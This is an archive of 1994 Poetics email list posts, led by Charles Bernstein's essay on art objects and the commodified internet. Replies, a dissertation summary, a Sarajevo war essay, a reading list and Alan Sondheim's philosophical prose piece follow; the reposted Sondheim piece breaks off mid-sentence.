Before diagnosing the condition of the art object in an age of electronic technology, let me first address the question of the object of art in an age of global commodification. I won't be the last to note that capitalism transcends the technologies through which it operates. So just as today's artworld is dominated by the marketing, sales, and promotion, so the object of art in the age of electronic technology will continue to be profit; and the values most typically promoted by the art world will continue to be governed by market, rather than aesthetic, formal, philosophical or ethical, values. Within the artworld, as in the corporate board rooms, the focus of discussion has been on how to exploit this new media, as if cyberspace was a new wilderness from which to carve your niche --better get on board, err, on line, first before the prime sites are staked out. For if the object of art is to sell objects, then the new electronic environment presents many problems but also many opportunities. But art, if it could speak, might well object to these assumptions. (If art could speak we could not understand it -- that's one way to put it; perhaps it's more accurate to say if art could speak it would be poetry and poetry's got nothing to sell.) -- Art might speak not of its object but it objects; it might testily insists that one of its roles is exactly to resist commodification, to use its materiality to push against the total absorption of meaning into the market system, and that's why it got one the first e-mail accounts on the net--to talk about it. But you can't sell talk, and that can make the net a vexing place for if not for art then for the purveyors of art. Of course, today's internet -- a decentralized, largely text-based, linking of individual sites or constellations of users -- will be superseded by what is aptly called the in- formation superhighway. Just as the old dirt roads and smaller rural routes were largely abandoned by the megatraffic on the interstates, so much of the present informal, non-capital intensive exchanges on the net will become marginal back channels in a communications systems largely owned and controlled by Time & Space, Inc. and other giant telecommunication conglomerates, providing new and continually recirculating versions of the USA Today with up to the minute weather and sports information, sound files offering *Nirvana: The Classic Years* including alternate studio versions, hypertext tours with high resolution graphics of the British Museum collection, plus hundreds of other choices, available at the click of an icon, including items never before available in any media such as *In Her Home: the Barbara Streisand Collection*; a construct-it-yourself simulation of making a Shaker chair; and a color-it-yourself portfolio of the complete appropriations of Sherrie

Levine, together with hyper- textually linked case dossiers of all related legal suits. All with modest fees for each hour of viewing or receiving (the gaze finally quantified and sold) and downright bargain prices for your "own" personal copy, making available unlimited screenings (but remember, "it is a federal offence to make unauthorized copies of these copies", or, as we say in Buffalo: it's okay to copy an original but never copy a copy). Indeed, much of what is now the internet promises to become the largest shopping network on earth, and possibly in the universe (even exceeding the Mall of the Milky Way on Galactica B282); those old back roads will be the place to hang out if you are looking for something other than franchise FastImage.

One of the hallmarks of formalist art criticism as well as media theory has been an analysis of the effects of newer media on already existing media. So we talk about the effect of photography on painting, or movies on theater; or how movies provided the initial content for TV before it arrived at its own particular formats (just as the content of the net is now largely composed of formats taken from books, letters, and magazines). It is useful to remember that in the early days of TV, many observers predicted that such spectator sports as baseball would lose their stadium audiences once the games were broadcast "live". Of course, the opposite occurred; TV increased the interest in the live-and-in-person event. In a similar way, art on the net may actually increase interest in seeing art in nonelectronic spaces. Formalist critics have wanted to emphasize how new technologies "free up" older media to explore their intrinsic qualities -- to do what only they can do. But new media also have a corrosive effect, as forces in the older media try to shift their focus to compete for the market and the cultural capital of what they may see as their new competitors. Within the visual arts, many of the most celebrated new trends of the last decade -- from simululationism to multimediamania to the transformation of Artforum -- are symptoms of a fear of the specific and intractable materiality of painting and sculpture; such fear of materiality (and by extension face-to-face interaction) is far greater and long-lasting than the much more often discussed fear of technology -- a fear so often discussed the better to trivialize and repress.

What are the conditions of visual art in the net, or art in computer space? We can expect that most visual art on the net will be reproductions of previously existing work, along the line of Bill Gates's plan to display in his home rotating CD-ROM images of the masterpieces of World Art, images for which, notably, he has purchased the CD-ROM reproduction rights. The Thing, a new visual arts online service, which has been immensely useful in imagining many possible formats for art on the net, already features an innovative, in the sense of anachronistic, pricing structure--selling over its BBS a numbered and "signed" diskette of an art work. (The idea of selling a disk is itself no more

objectionable than selling a book, but numbering and signing a disk is an attempt to simulate scarcity and limit in a medium in which these conditions do not apply. I wouldn't be surprised, however, if this format was included on The Thing to call attention to the issue and also to poke fun at the net's prevailing ideology of utopian democracy, a.k.a. netiquette). In any case, telecommunications systems promises to dominate the distribution of text and image in the near future at a price -- though few are now willing to acknowledge it--of more controlled and more limited access (through high user fees, institutional restrictions, and technological skills barriers) and loss of privacy rights we now take for granted. But technological change --it's a mistake to call it progress--will not be reversed and artists run the risk of nostalgia if they refuse to recognize and respond, the better to resist, the communications environment that, for better or worse, they find themselves within. I want, then, to focus not on how electronic space will actually be used, indeed how e-space will be exploited, but rather to think about the new media that has been created by technological developments combing computers and telecommunications, and how works of visual arts can recognize and explore these new media--even if such works run the risk of being relegated to the net's backchannels, along with "new mimeo revolution" poetry magazines and psychic readings by electronic Tarot. The most radical characteristic of the internet as a medium is its interconnectivity. At every point receivers are also transmitters. It is a medium defined by exchange rather than delivery; the medium is interactive and dialogic rather than unidirectional or monologic. At this moment, the most interesting format on the internet, apart from the basic electronic mail function, is the listserve: a series of individuals join a list--any post to the list address is immediately delivered to all list subscribers. Individuals can then post replies to the entire list or to the individual that sent the post. Lists may be open to anyone to join or may be private. The potential for discussion and collaboration is appealing--the format mixes some of the features of correspondence with a discussion group, conference call, and a panel symposium such as this one (with the crucial difference that the distinction between audience and panel is eroded). While many cyberspace utopians speak of virtual communities with much excitement, what is particularly interesting about the interconnectivity of computer space is its difference from other types of group formation; for what we are constructing in these spaces might better be called virtual uncommunities. The art world remains a difficult place for community or group formations because the gallery system recognizes value primarily in terms of individual achievement. In contrast to the poetry publishing and criticism, in which the poets themselves play a substantial and perhaps determining role, individual visual artists are largely restricted to (or restrict themselves to) the role of producers of potentially saleable objects. Competition among artists is more common that

broad-based alliance, with the occasional exception of loyalty to a small circle of friends. At the national level, or course, there are local communities of artists in every region. Various movements and schools--aesthetic or political or both--can also be understood as art communities. Most recently, the connections of artists within ethnic, gender, or racial groups have been seen in terms of community. But despite these sites of community among visual artists, sustained interaction, dialogues and collaboration remains rare; indeed, these activities are not generally recognized as values. The internet provide an extraordinary space for interaction and exchange among artist living in different places and, perhaps more significantly, encourages collaboration between visual artists, writers, and computer engineers. In a way remarkably anticipated by the mail art movements of the seventies and eighties, the net suggests the possibility of art works created for their exchange rather than market value--works that may be altered, augmented, or otherwise transformed as they pass from one screen to another. --What I am envisioning here is not art from another medium imported into the net but rather art that takes the unique constraints and potentials of the net as its medium. To begin delineate this and related computer and telecommunications media, let's start with the "small" screen. Indeed, we might begin to speak of the screen arts to suggest the intersection of video, tv and computer art that share the same physical support or monitor. More and more computers are now equipped with video quality monitors and the screen arts--in this broad sense--will be transmitted via modem, cable and wireless systems as well as plugged in through cassette, cd-rom, disk, and cartridge. I distinguish among interactive, interconnected, and presentational screen media: Presentational screen media is the broadest category. On the one hand, it includes the use of the CPU set-up as a means to present work realized in a non-CPU medium, such as a video tape or photographs, or read-only text files. On the other hand, presentational screen media also includes work produced and viewed on computer systems that do not require viewer intervention beyond basic directional and operational parameters such as those available on a video recorder. -- A hugely important subcategory here is works produced on computer screens but not presented on screens. Word processing, "paintbrush" and "photoshop" programs are some of the tools of this medium, which promises to reimagine the way we read and see text and graphics; moreover, this new medium allows for a greater integration and interaction of verbal, visual, and sound elements than possible with previous printing technologies. Interactive computer screen art utilizes the processing system of the computer and includes significant viewer participation via keyboard, mouse or joy stick. While video games are the most elaborate visual realization of this medium, works of computer art can be created that are not game-oriented but that use many of the features developed in video games. Still another format for interactivity is often discussed under the general

heading of hypertext. Hypertext involves the lateral movement and linking of a potentially infinite series of data pools. It allows for nonlinear explorations of a range of data bases; that is, unlike presentational modes, in hypertext there is no established forward path through the data. For example, Jerome McGann and colleagues are at work on an edition of the complete works of Dante Rossetti that will include multiple discrepant versions of his published poems along with ms versions of these poems, together with his related paintings as well as source material for the paintings and the poems. All of this information will be linked so that one can move through the data in many directions. Claims of many enthusiastic hypetextualists notwithstanding, many of the most radical features of hypertext are technologies made available by the invention of alphabetic writing and greatly facilitated by the development of printing and bookmaking. Such formats as page and line numbering, indexes, tables of contents, concordances, and cross-referencing for in encyclopedias and card catalogs, are, in effect, hypertextual. Much of the innovative poetry of the past 100 years relies on the concept of hypertextuality as a counter to the predominance of linear reading and writing methods. While hypertext may seem like a particular innovation of computer processing, since data on a computer does not have to be accessed sequentially (which is to say it is "randomly" accessible), it becomes a compensatory access tool partly because you can't flip though a date base the way you can flip through pages or index cards. (I'm thinking, for example, of Robert Grenier's great poem, *Sentences*, which is printed on 500 index cards in a Chinese foldup box.) Finally--my third category--interconnectivity utilizes the network capability of linked systems such as the internet and formats such as listserves, bulletin boards, newsgroups, and group-participation MUDs (multi-user domains) and MOOs and other "real-time" multi-user formats. Inteconnectivity allows for works of collaboration, linking, and exchange, as well as a the possibility of simultaneous-event or immediate-response structures. Interconnectivity turns the screen into a small stage and in this way combines features of theater with writing and graphic art. The most static of the three modes I have just defined is the presentation screen mode. Presentational screen media will merge with what is now available via broadcast TV, video cassettes, or video disk and CD. But, of course, certain computer features will provide novel methods for searching or scanning material, for example, enabling particular item or graphic or song or word amidst a large data base. Yet because computer screens are often smaller than TV screens, a class of interactive and presentational screen art can take advantage of the more intimate single-viewer conditions now associated with books and drawings. Indeed new technologies for viewing texts may well supplant print as the dominant medium for writing and graphics. Books, I should add, will not be replaced --and certainly will not come superfluous--any more than printing replaced handwriting or made it

superfluous; these are different media and texts or graphics disseminated through them will have different qualities. Nonetheless, it is useful to consider graphic and verbal works created specifically for the intimate presentational or interactive space of the small screen that use features specific to the CPU environment, including scrolling, lateral movements, dissolves, the physical properties of the different screen types (lcd, gas plasma, active matrix color)--an extension into the CPU environment of the sort of work associated with Nam June Paikation of the video environment. The status of computer-generated films may help to test my typology. Anything that can can also, and with increasing resolution, be projected on a movie screen. Nonetheless, it is still possible to distinguish, as distinct support media, the small backlit screen of the TV and computer monitor and the large projection-system screen of film. Moreover, the scale, conditions of viewing, and typifying formats make video, film, and TV three different media, just as animation, photography and computer graphics may be said to be distinct media within film. (Hybridization and cross-viewing remain, of course, and active and welcome possibility.) Computer-generated graphics, then, may be classified as presentation computer art modelled on small screens for big screen projection. Note, also, that I have not included in my sketch nonscreen art that uses computers for their operation (for example, robotic installations and environments)--a category that is likely to far surpass the screen arts in the course of time.

[Slide #1: Petah Coyne] But I don't want to talk about computers but objects, objects obduring in the face of automation: I picture here a sculpture from Petah Coyne's recent show at the Jack Shainman Gallery. For it has never been the object of art to capture the thing itself, but rather the conditions of thingness: its thickness, its intractability, its untranslatability or unreproducability,semiotic density, opacity, particularity and peculiarity, its complexity.

[Slide #2: Karen Dolmanish] For this reason, I was delighted to see a show of new sculpture at Exit Art last month that seemed to respond to my increasing desire for sculpture and painting thick with its material obsessiveness, work whose response to the cyberworld is not to hop on board for the ride or play the angles between parasite and symbiosis--but to insist ever more intractability of its own "radical faith," to quote the title of this work by Karen Dolmanish

[Slide #3: Byron Clercx] Object: to call into question, to disagree, to wonder at, to puzzle over, to stare at -- Object: something made inanimate, lifeless, a thing debased or devalued -- Whatever darker Freudian dreams of objects and their relations I may have had while writing this essay, nothing could come close to Byron Clercx's witty sculpture, "Big Stick," in which he has compressed and laminated 20 volumes of the complete works of the father of psychoanalysis into one beautifully crafted Vienna Slugger, evoking both the uncanny and the

sublime ~ finally, an American Freud. Here is the return of the book with a vengeance, proof positive that books are not the same as texts. Go try doing that to a batch of floppy disks or CD-ROMs.

[Slide #4: Jess]. In Jess's 1991 paste-up "Dyslecstasy", we get some glimpse of what hypertext might one day be able to achieve. Collaged from thousands of tiny scraps collected over many years, Jess creates an environment of multiple levels and dizzyingly shifting contexts; and yet in this world made of tiny particulars, it is their relation and mutual inhabitation that overwhelms and confirms.

[Slide #5: Susan Bee, "Masked Ball"] I long for the handmade, the direct application of materials on an uneven surface. I feel ever more the need for the embedded and encrusted images and glossings and tones and contours of forgotten and misplaced lore, as in Susan Bee's painting "Masked Ball." I want to contrast the solitary conditions of viewing a work on a computer screen my posture fixed, my eyes 10 inches from the image, with the physicality of looking at a painting or sculpture in a large room, moving around it, checking it out from multiple views, taking in its tacticle surface, its engagement with my thoughts.

[Slide #6: Susan Bee, "Help"] & here, a final image from Susan Bee
-- On the journey of life, lost in cyberspace, where will we find ourselves: not who we are but who we will be, our virtual reality.

--Charles Bernstein ([redacted])

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15. Marjorie Perloff
Re: prequel to long post
Fri 22 Apr 1994

> *I am going to send to the Poetics list an essay I recently presented on the "art object" in an age of electronic communication. It is about 15 screenfulls long--this is an advance warning. I'm not sure it's a good idea to send such long pieces in this way; let me know what you think.*
>
> *Meanwhile, how's the weather? Publish any good books lately (online catalogs welcome)?*
>
> *--Charles Bernstein*

Wonderful to get Charles's electronic piece and it's not too long at all. Would that most of my e-mail were as interesting! The essay is right on! But depressing as well. Those images of the Barbara Streisand home show!. Is life no more than this? Meanwhile, my class is reading (this week) ISLETS AND IRRIT- ATIONS and getting ready (next week) for a visit from Marjorie Welish and Rae Armantrout. Hello to all! Marjorie Perloff

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16. Toshi Ishihara

first

Fri 22 Apr 1994

Charles Bernstein suggested that I post a description of my manuscript--a Ph.D. dissertation from SUNY, Buffalo-- on the poetics board, so here it is. I'm in the process of looking for a publisher.

Ran's Notebook and Drawing Book: Speculations by a Japanese Woman on Cultural Differences represents my own experience as a woman, an outsider, and an exile, in a series of "silent" pictures drawn with a language, a language embodied in a dancing figure, fluctuating in meanings. Ran's book is driven by her desire to retrieve the the lost story of "Father and Mother" in China, her hunger for stories of her own--Japan's own--past, and her need to restore a lost sense of the feminine to herself. The book traces a development of Ran from a state of being in "turmoil" to a blooming as an "orchid." ("Ran" means both in Japanese).

What follows is a brief descriptive summary of the manuscript:

The first Chapter in Part One, Ran's Notebook, is woven out of three stories--the ancient Japanese myth of Amaterasu Ohmikami, the Sun Goddess; a standard history of Japan (from which accounts of good and powerful women have been excluded); and the story of Ran, myself. All of these represent the re-emergence of femininity. By interlocking these texts, I try to show one lives with the history of one's country and how the story of one's life is inevitably an embodiment of a national myth.

The second Chapter in Ran's Notebook deals with the issue of naming, writing, and the physical nature of language. Here I integrate Ran's story with my

interpretation of writing by two well known Asian American writers, Makine Hong Kingston and Amy Tan.

Part Two is titled My Drawing Book. The change of possessive pronouns reveals a process of self-assertion. My intention for inventing Ran, who is named after Orlando, the character who runs through all of this material up till now, is to show that personality is not something to be taken for granted, but a construct which comes into being through the process of being observed by others and observing oneself. In My Drawing Book gradually this persona, Ran, is made to fade and move to one side as the "I" gains confidence to speak in her own voice.

The myth of another goddess, Amenouzume, "one who dances in whirls," is retold with a focus on her dancing body as a critical site where a feminist re-reading of body is configurated. The account of her dance also plays an important role in my exploration of the kinds of bonds that can exist among women. Other accounts drawn from tales of Amenouzume--her listening to a god's advice, for instance, or her killing an animal that refuses to speak-- run parallel to Ran's (my) experience of logophobia in the English language.

The shift from writing to drawing in Parts One and Two shows my transformation from a self nervous about linear and clear-cut thinking to a self imaginative and creative, favoring a circular and pictorial representation. I suggest this pictorial mode of expression has its roots in a perception peculiar to the ideographic Japanese language.

In Part Three, Conversation Piece, I consider the reason for my father's recourse to a foreign tongue. It shows the powerful effect of his silence in that he communicates not through verbal utterance but through making others see by means of his actions. My conclusion is that my "silent" mode of expression is my father's gift to me, the path he wanted me to follow.

What follows is cited from a report of Linda Reinfeld (author of Language Poetry: Writing as Rescue, Louisiana State University Press, 1992) who served as the outside reader of my dissertation:

The book constitutes a most revealing meditation on language as a positive agent of transformation in the

experience of a Japanese woman living in the United States. As she emerges from the persona of "Ran" (meaning "turmoil" in Japanese) through her own writing, she weaves together strands of stories from ancient Japanese mythology, Japanese history, and her own personal experience, including her experience as a sophisticated reader of such Asian-American writers as Maxine Hong Kingston and Amy Tan. In showing how her own story is an embodiment of a national myth, the author manages to keep each strand of her narrative distinct and free of sentimentality, thus achieving a sense of depth and multiplicity in a feminist construction of self. The writing is at all times engaging and imaginative, drawing much of its strength and scholarly excellence from an understanding of pictorial, poetic, and ideographic modes of expression. "Ran's Notebook and Drawing Book" is a unique demonstration of what it might mean, right now, to live in more than one language and more than one time--as sooner or later, all of us must.

I'd welcome comments, questions, or advice from the readers on Poetics.

---Toshi Ishihara: [redacted]---

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17. Kenneth Sherwood

Sarajevo, travel and art.

Tue 26 Apr 1994

Received from Geert Lovink (Amsterdam) as originally posted by [redacted] (Nermin Zukic).

B O S N E T Apr. 11, 1994

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04/04/94 SARAJEVO POSTCARD

BACK ON TRACK
By Zlatko Dizdarevic

Sometime last summer, when we still used to try to imagine the day when everything would finally stop and we could head south, toward the sea, one of my friends said: "As far as I'm concerned, I'll know the war is over when the

trolleys start running again and, like in the old days, I
can get on the No. 2 and take it to the end of the line,
right to Villa Cengic. And we can pass all the way across
'Sniper's Avenue,' but no one will be shooting at us."

We laughed then, looking over the twisted tracks, the fallen power lines, the wrecked and burned-out trolleys. The trolleys remained exactly where grenade and mortar shells had stopped them dead in their tracks in May of 1992. It seemed like everything else--the end of the war, a return to normal life--would come before the trolleys started running again. We figured that we'd get to the sea by car, or maybe even somewhere farther by plane, before we'd be able to make it to Villa Cengic on the No. 2 red line.

Things turned out differently. The conflict made fools of us again. When it comes to forecasting war and peace, politics and life, we have to admit, once more, that we're complete amateurs. The trolley is running. The tracks have been straightened out. The power lines have been put up and a few red cars, in mint condition, have been hauled out from God knows where. But none of this has anything to do with the end of the war we had imagined. And it has nothing to do with what our trip on the No. 2 would have meant. There is still no peace waiting for us at Villa Cengic.

What stands out most about the No. 2, as it makes its way through dead neighborhoods, is the route's senselessness. The trip is nothing more than movement from one place to another within the same concentration camp, the same prison. Once upon a time we used to sit in the No. 2 and head down to Bascarsija, the heart of the Old City of Sarajevo. Today the area is just a gaping hole, empty and calm. We used to get on the No. 1 and head for the railroad station and then go on from there, by train, to other places. Like people. Now there are no trains; there isn't even a railroad station. If they start the No. 1 again, what good will it be if it only serves the same bogus purpose as the No. 2? There were times when we used to pile into the No. 3 and somehow make it to Ilidza. And from there we could go wherever our hearts desired: down the old tree-lined avenue to the source of the Bosnia River, up to Mt. Igman or even to nowhere in particular. Thanks to the world's kindness and affection, Ilidza now belongs to "them"; it is at the other end of the world, somewhere on another planet. You can't get there, as everyone well knows, by trolley. A revived No. 3 won't be able to do us much good either.

The No. 2 is off and running, and everything else stays
still, with very little hope that anything is about to
change. What a blunder it was to think that, one day, a
trolley would take us to freedom. For the rest of the world-
-especially for the politicians and diplomats who try to get

us to accept their lies, who try to get us to tell the world how happy we are--the resurrected trolley is a triumph. But what is it to us? How can we even begin to explain that we've always liked going to Ilidza, the railroad station, Mostar, the sea? And that we'd much rather go to these places on foot than have the ability to "freely" roll to nowhere on a trolley. As the No. 2 stops at every station on its aborted route across nothing, it creates an illusion that is equally senseless, revolting and desperate.

Of course, it isn't easy trying to explain this to people who think that the only aim in life is to fill your stomach and your pockets, and that you can be as happy as a cow in five square meters of living space as long as you have your mercy provisions--the gift of a "landlord" or humanitarian organization. It's also tough to put a damper on the warm feelings of all those who helped get "Operation Trolley" underway by sending money, technicians and even cameramen, just to make sure it was recorded for posterity. The "international community" also kept its honor intact and showed its strength, so its leaders have good reason for a victorious toast over a glass of whiskey. A great nightmare no longer bears down on them in quite the same way or in quite the same place. That nightmare hopped onto the red line, Sarajevo's No. 2, and it's making the rounds now, to the general contentment of some of the exhausted and depleted citizens of Sarajevo.

But it's slightly more difficult to sell this story to those in Sarajevo who are still using their own heads to think with, something that, apparently, may constitute this disobedient city's gravest sin. A few days ago Afan Ramic, an artist, was talking with some people from Japan who had come to visit his studio, which is in an abandoned building that used to be a printing plant. They were a fine bunch, very serious, dignified and sincere. They listened carefully, spoke carefully and made offers even more carefully. For hours they studied the canvases, took pictures of the works. Then, with great tact and meticulously chosen words, they conveyed a message to the painter: their t.v. station, as well as their government, would be honored if he, the Sarajevan artist Afan Ramic, would come to Japan with his paintings. There would be

exhibitions, and all expenses would be paid. In short, they saw no problems except, of course, whether this "extremely interesting" painter would be willing to accept their invitation. Would this trip upset any other plans he might have made? Did he find the concept to his liking? Were there any special conditions that needed to be met?
"I looked at them for a while without really knowing what to say. I wasn't really sure, to tell you the truth, whether or not they were pulling my leg or whether they were serious," Afan said later. "I always admired the Japanese for their seriousness. Could it be that after 700 days of imprisonment, hunger, personal tragedy and every other kind of misery imaginable, they were really asking me whether or not I wanted to go to Japan and have a show? And what's more, did they have any idea what they were saying when they claimed that everything would be o.k. as far as traveling was concerned? Then I decided to ask them what, around here, always ends up being the most important question: 'That's all well and good as far as Tokyo and Osaka go; I have no doubt that it's also nice in Nagoya and Yokohama, but how am I going to get past the Serb barricades on Ilidza?' I got the feeling that they felt confused and didn't quite grasp what I was asking them. I actually began feeling sorry for them. Then I said, more to myself: `Forget about it, don't worry, I'll get to Ilidza by trolley.'"

The Japanese went off happy that they had gotten Afan to come to their country. The painter was left to wait for the trolley to Ilidza, or some other mode of transportation the international community could arrange. After all, when you get past Ilidza and that last barricade, everything is a lot easier. From there to Japan isn't far at all.

Zlatko Dizdarevic, is author of Sarajevo: A War Journal (Fromm). This article was translated by Ammiel Alcalay.

BosNet is also available as a moderated Usenet group BIT.LISTSERV.BOSNET Check with your sys/net administrator about getting the feed for your site(s)/node(s).

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18. peter quartermain
Summer Reading
Thu 28 Apr 1994

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so to get my head back into a _place_
I'm looking to read by decent means
some decent poems
and decent poets
I haven't read before

whatever decent means

I figure that if I list one or two that
I like but you may not know about
why then, maybe you'll send me
some names living or dead
and titles (likewise I'm sure)

So try
"The Weekend of Dermot and Grace"
by Eugene R. Watters. _Poetry-Ireland_Review_
13 (Spring 1985): 25-71
first published Dublin: Allen Figgis & Co 1964 --
surely there's a copy in Fubbalo

and if you see any of his work around
in recent magazines
(try Peter Riley's Poetical Histories
or Harry Gilonis' Form Books --
Gilonis also publishes Catherine Walsh
Colin Simms and I think Wendy Mulford)
get hold of Maurice Scully
also Irish. Pig Press is bringing
out a new Scully book soon, called
_Basic_Colours_

But if you want some wonderful well call it prose
steal borrow beg or even buy
Rob Kovitz
_Pig_City_Model_Farm_
Toronto
Treyf
1992
(dist in USA by Princeton Arhitectural Press)
a brilliant collage attack on just about

anything to do with the rule of, well, rule --
and even (shudder) community.

What a blessed relief it is that NONE of these books
is flavoured with Parfum du Professorat
or even Sachet d'eleve
though they are not by that guaranteed to be wholesome.

And if you've got this far through this list
there's a BONUS QUOTE as reward and punishment:
Laura's mother in Lola Lemire Tostevin's
new novel _Frog_Moon_
(Dunvegan, Ontario
Cormorant Books
1994)
asks and answers
"Do you know what the actress said
to the bishop who was wearing a surplice
and swinging his incense vessel?
Love your dress, darling,
but your purse is on fire."

Peter Quartermain

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19. sondheim
(Forwarded) : Obj
Thu 28 Apr 1994

Forwarded message:
From: Self <ZEOS/SONDHEIM>
To: [redacted]
Subject: : Obj
Date: 27 Apr 94 20:17:49

I've read your paper, and wanted to comment particularly on the notion of "objects obduring" - it reminds me of my use of "obdurate" in my text; there is also a convergence of idea as well. One reason I continue to look at and write about painting (for example) is pre- cisely this inertness which slows down or retards a flow of information which ultimately becomes a question of manageriality and "kill" files. A traditional painting is handcrafted; the "signature" of the body is everywhere present upon it, as is the signifier of labor. This is an insistence on alterity (I think in the sense of Levinas) that's extremely important. I get tired of "cyber" and "surfing" modes which imply a fast skim-and-response to ideas.

I'm sending along a piece I wrote which you may or may not want to post; it's for you in any case.

ALan

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20. Charles Bernstein

Alan Sondheim's "The Start of It All" (forwarded)

Thu 28 Apr 1994

From: IN%"[redacted]" 27-APR-1994 20:22:02.02 Subj: : Obj

THE START OF IT ALL

Back home, I would think about altarity. But now, wandering in a hermeneutic circle would never square with me...

I'm sitting down to write; I have a reed in my hand, and the sand is spread out before me. The river in the distance has overflowed its banks, and is just now receding. There is a banquet nearby; I will go there shortly, and regale the guests with tales about carpenters and chariot-makers. In this manner, I will earn my keep. Before going out, I make sure it is night; even the stars have their master, and everything is fixed, absolute, and in place forever.

At the banquet, I discourse freely to everyone who will listen. Some charming dancers entertain the guests, a few of whom are members of the Resistance. There is fighting right now outside Jena and the avenues are tense; I can see the imminent victory of the Prussian state, a natural trajectory of the dialectic, beginning with my doubting everything, an occasion for eschatological desire. An abyss opens up beside me; within it, annihilation itself seems to seethe, and there is no end to the affairs of men and women. The ideal state to come will have no poets and no philosophers, something I conclusively demonstrate with all the power of the geometric. Since I am a misfit, I elevate myself to the top of the mountain where red flames dominate the landscape; there are those who dominate and those who are controlled by my subaltern ego. But I reject every pretense, and wear nothing but a barrel; let those who dare to look, do so. (Need I add it would be queerer to gaze?)

>From this vantage point, next to a peasant hut in the Black Forest where men and women are suddenly thrown, I see a red patch, unidentifiable, but offering every attribute I am considering before me. The patch is surely the same in all possible worlds, where it possesses the characteristic of a fact or picture, a rigid designator articulating the armature of an over-privileged semantics. I may or may not refer to `it.' If I become the red patch, it is beneath the sign of capital; capital flows from my pores, flows everywhere. I

dissolve slowly into transparency, a simulacrum of my former self, and continue to write on a simulacrum-computer, filling all conceivable data-bases with useless Turing machines; I transform myself into a body-without-organs in the terminal stages: constipation, corpulence, power and madness. This is the dreaded `death of the author' signified in each and every postcard, where letters `go to the drugstore' of the obsessive-compulsive. The red patch illuminates the desk I am writing upon, as the final apocalyptic conflagration envisions itself from a distance. All I can do is raise my fist as Europe shudders, corpse-like, beneath its sullen masters.

My clenched fist in the air is helpless against the stone I continue to push up the mountain, which seems slightly absurd, even if transcendent and rather egotistical. The mathematization of the granite, rather concrete, results in almost perfect lines of flight across it; these coalesce with the identical categories available to the Beaver, who waits for me with Pierre at the cafe shortly after the symposium has come to an end. No good ever flows from this, the death of Helene on the way to the final construction of a purified and scientific political economy, something I can live with, having roamed the streets of Manchester, in order to bring the philosophical down to the level of material praxis and avoiding any further reification. What an imaginary!

The red patch over my eyes is painful; I am hobbled, resorting to the aphoristic crutch in order to convey my dislike of princes and the press. The uncanny power of women contaminates every line I add to the others; it is only through the telephone and its interminable existential dial-up, that I continue to turn a deaf ear to the world and its discourse-networks, harboring the unequivocal testimony of sight. Everywhere, sight leaves its traces; the punctured hymen of the Beaver provides a final word, projecting from her hole into a freedom always already structured by its opposite. Double lips shudder, reducing me to an imaginary penis, uncapped head indicative of the non-believing Jew exiled from the habitus of the Amsterdam synagogue. Men always do this, and this is what makes them men. I realize that if men are analytic, women are synthetic; the Beaver says it's the other way around. (My statement has never been spoken by a body.)

What makes them men is a purified techne as well, something I would respond to if questioned. Every question demands an answer, but not every answer demands a question, which is ineffable, written on this book of sand that shoots out from under me every twelve or so hours. But I am of the technological, the episteme of instrumental reason, not remote or disembodied in an ideal world inhabited by the elements crowned with the Concept of the Idea. Outside the window there is a tree of a particular color which the Navajo see; I can never take in each of its leaves on an individuated basis, just as I can never count the

pillars in the Pantheon. Better, however, is an act of exile which is reconstruction, always reversible, except for the brute facticity of death, to which I am hardly partial, being somewhat super. Now I am gathering speed, becoming incandescent; fragments and seminars course through my veins close to the speed of light, competing among themselves, completing the torn fabric of the real (always the scenario of suture), mumbling through those same veiled lips that sealed my internal-time consciousness about ten minutes ago.

I am lost in the ipseity of my freedom, confused about beings (there are so many of them) and Being confused. The eidetic reduction is a diminution of the obverse; I drink less and less natural kinds as hypereality transforms null into cipher, leaving me with `a smaller glass' of tea. The inverse of the glass is neither opaque nor convex; a node within the grid of doxa cathects every drop spilled from the fluid mechanics of the feminine. The result? More rigid designators and more masquerades: the mimetic indeed!

And what is the real if not a game constructed out of the consensual sublime? What is the sublime if not a differend inverted by silence (that makes all the differance in the world, being less noisy!)? The sublime is always silent? Sound is the institutionalization of capital, the rigidity of the script fixed in a prioritization of the written over the purely oral and its stages. Each question eliminates itself; speech is an act of excretion. The cave is silent, too, where men and women watch. (Speech is always four-fold; no one has time for that.) In the corner of the cave is perhaps a snake; it may also be a rod, or rod(ent), whatever is relevant at the moment, whatever might or might not bite. The id has the face of Medusa, an alterity defining an essence or existing seeping away, the result of insomnia, difficulties of health. I write this in the sand until my head is cut off.

[redacted]

↑ Index

21. sondheim

Sending out again...

Fri 29 Apr 1994

THE START OF IT ALL

Back home, I would think about altarity. But now, wandering in a hermeneutic circle would never square with me...

I'm sitting down to write; I have a reed in my hand, and the sand is spread out before me. The river in the distance has overflowed its banks, and is just now receding. There is a banquet nearby; I will go there shortly, and regale the guests with tales about carpenters and chariot-makers. In this manner, I will

earn my keep. Before going out, I make sure it is night; even the stars have their master, and everything is fixed, absolute, and in place forever.

At the banquet, I discourse freely to everyone who will listen. Some charming dancers entertain the guests, a few of whom are members of the Resistance. There is fighting right now outside Jena and the avenues are tense; I can see the imminent victory of the Prussian state, a natural trajectory of the dialectic, beginning with my doubting everything, an occasion for eschatological desire. An abyss opens up beside me; within it, annihilation itself seems to seethe, and there is no end to the affairs of men and women. The ideal state to come will have no poets and no philosophers, something I conclusively demonstrate with all the power of the geometric. Since I am a misfit, I elevate myself to the top of the mountain where red flames dominate the landscape; there are those who dominate and those who are controlled by my subaltern ego. But I reject every pretense, and wear nothing but a barrel; let those who dare to look, do so. (Need I add it would be queerer to gaze?)

>From this vantage point, next to a peasant hut in the Black Forest where men and women are suddenly thrown, I see a red patch, unidentifiable, but offering every attribute I am considering before me. The patch is surely the same in all possible worlds, where it possesses the characteristic of a fact or picture, a rigid designator articulating the armature of an over-privileged semantics. I may or may not refer to `it.' If I become the red patch, it is beneath the sign of capital; capital flows from my pores, flows everywhere. I dissolve slowly into transparency, a simulacrum of my former self, and continue to write on a simulacrum-computer, filling all conceivable data-bases with useless Turing machines; I transform myself into a body-without-organs in the terminal stages: constipation, corpulence, power and madness. This is the dreaded `death of the author' signified in each and every postcard, where letters `go to the drugstore' of the obsessive-compulsive. The red patch illuminates the desk I am writing upon, as the final apocalyptic conflagration envisions itself from a distance. All I can do is raise my fist as Europe shudders, corpse-like, beneath its sullen masters.

My clenched fist in the air is helpless against the stone I continue to push up the mountain, which seems slightly absurd, even if transcendent and rather egotistical. The mathematization of the granite, rather concrete, results in almost perfect lines of flight across it; these coalesce with the identical categories available to the Beaver, who waits for me with Pierre at the cafe shortly after the symposium has come to an end. No good ever flows from this, the death of Helene on the way to the final construction of a purified and scientific political economy, something I can live with, having roamed the

